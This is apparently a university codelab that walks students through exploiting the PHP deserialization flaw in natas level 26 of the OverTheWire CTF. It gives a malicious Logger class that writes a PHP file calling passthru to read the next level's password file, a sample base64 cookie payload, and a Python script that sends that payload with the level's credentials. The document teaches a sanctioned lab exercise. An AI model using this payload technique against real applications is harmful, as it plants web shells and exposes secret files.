Deserialization attacks can lead to devastating remote code execution vulnerabilities in web applications. While they are often associated with object-oriented frameworks in which object serialization is a commonly used feature such as Java and Python, they can also occur in PHP and Javascript.

What you will do

In this codelab, you will visit a vulnerable web application and exploit a PHP deserialization vulnerability within it to capture a password.

What you'll learn

What you'll need

The natas CTF provides a scaffolded set of web vulnerability levels that allows one to practice web exploitation. Exploiting a deserialization vulnerability requires knowledge of the underlying programming language as well as the methods it uses to serialize and deserialize objects. Level 26 in the CTF focuses on PHP deserialization attacks.

Visit the level

Run the application

The cookie associated with the interaction appears to be base64-encoded. In order to see what data it might be using, do the following:

The web application is passing back a structured object that records the current drawing. In doing so, it keeps the state on the client and does not have to track the state of a client's drawing itself. It is entirely understandable that this would be done to make the site more scalable.

The drawing is encoded in Base64 and a cookie field called 'drawing' carries the state of the drawing back and forth. After the decoding of the payload, the format looks similar to JSON.

Click on "View sourcecode" to see what is going on in the web application. At the bottom of the file, the HTML for rendering the base page is implemented as well as the PHP code that is initially run. After starting the session, PHP looks for the "drawing" field in the cookie or for coordinates that have been supplied via a form submission specifying the coordinates. If either case happens, three calls are made to drawImage(), showImage(), and storeData() of the image back into the cookie to update it.

drawImage() takes the filename we want to create, then calls drawFromUserdata().

drawFromUserdata() draws an additional line (if one has been specified) and then deserializes $_COOKIE["drawing"] in order redraw the lines that were previously drawn by the user.

Then, showImage() simply creates an <img> tag that points to the image that has been produced.

Finally, storeData() is called which

  1. Creates a new drawing object and adds the new line segment to draw

  1. Deserializes the old drawing specified in the cookie

  1. Then combines them together before serializing the new drawing and updating the cookie with it.

The PHP application includes a Logger class whose code will emit information to a file (/tmp/natas26_xxxx.log). In PHP, when specifying a class, one must specify a constructor (__construct()) and a destructor (__destruct()) for objects to run when they are created and destroyed. The constructor, as shown below, opens a log file on the server and writes the initMsg to it.

The destructor opens the log file and writes the exitMsg to it.

Finally, the log() function opens the log file and writes a given message to it.

When PHP deserializes an object in this level, it does not check the integrity of the data within it. As a result, using the code for the Logger class, a rogue drawing object can trick the application into blindly deserializing a drawing object with a malicious payload attached. Since the PHP script on the server has a Logger class defined, an adversary can send its own serialized instance of a Logger class that will then be deserialized. Calling the constructor and destructor using this instance will then compromise the application. Consider the code below which slightly modifies the Logger class to initialize the values of variables in the constructor to rogue content.

  class Logger{
    ...
    function __construct($file){
      $this->initMsg="";
      $this->exitMsg="<?php echo __FILE__; ?>";
      $this->logFile = "img/myphp.php";

      $fd=fopen($this->logFile,"a+");
      fwrite($fd,$this->initMsg);
      fclose($fd);
    }
    ...
  }

The constructor for Logger sets the exitMsg to be a small PHP program that echos the name of the PHP file being executed (echo __FILE__;) It then sets the name of the logFile to a file that can be later accessed by the adversary to obtain the results (img/myphp.php).

Given the PHP code in the previous step, we can create a similar one, but instead have the class execute a command that dumps out the contents of a file that contains the password to get to the next level in /etc/natas_webpass/natas27 (a file that should not be accessible!). Within PHP, the passthru function can be used to invoke a shell command (e.g. passthru("cat /etc/natas_webpass/natas27") ).

Substituting this command into our payload, we can use a PHP script to create a malicious serialized object and base64 encode it in order to allow us to then attach it as the 'drawing' object in our cookie. Adapt the script below to create this malicious Logger instance by pointing its logfile to your img/<OdinID>.php and filling in the rest of the class information. The code instantiates an instance of the malicious class, passes the instance to the serialize() call and passes the results of the serialization to the base64 encoder.

exploit.php

<?php
  class Logger{
    ...
    function __construct($file){
      $this->initMsg="";
      $this->exitMsg="<?php passthru('cat /etc/natas_webpass/natas27') ?>";
      $this->logFile = "img/<OdinID>.php";

      $fd=fopen($this->logFile,"a+");
      fwrite($fd,$this->initMsg);
      fclose($fd);
    }
    ...
  }
  print base64_encode(serialize(new Logger('')));
?>

On a Linux machine, run the PHP interpreter on the script to produce the payload that we can then attach in the cookie to launch our exploit. Note that if using your own Linux VM, you may need to install PHP to run the interpreter:

sudo apt install php
php exploit.php

The script will output the base64-encoded payload that can be included into the cookie.

As an example, the Logger class that performs the simple echo has a serialized representation shown below:

O:6:"Logger":3:{s:15:"LoggerlogFile";s:13:"img/myphp.php";s:15:"LoggerinitMsg";s:0:"";s:15:"LoggerexitMsg";s:23:"<?php echo __FILE__; ?>";}

After base64-encoding, it will then generate the payload below which can be attached to the cookie for the level.

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL215cGhwLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjIzOiI8P3BocCBlY2hvIF9fRklMRV9fOyA/PiI7fQ==

To perform the exploit, we now need to attach our serialized object as our "drawing". This can be done programmatically via Python. In the below code, the <FMI> is the base64_encoded_serialized_object generated in the previous step.

#!/bin/python3
import requests
url = 'http://natas26.natas.labs.overthewire.org/'

mycookies={'drawing':'<FMI>'}
r = requests.get(url,auth=('natas26','8A506rfIAXbKKk68yJeuTuRq4UfcK70k'),cookies=mycookies)

Access the file that you created via the malicious Logger class from your web browser to reveal the password to natas27.

Visit http://natas27.natas.labs.overthewire.org/ and enter the password to get to the next level.

Congratulations

You've completed the PHP deserialization lab covering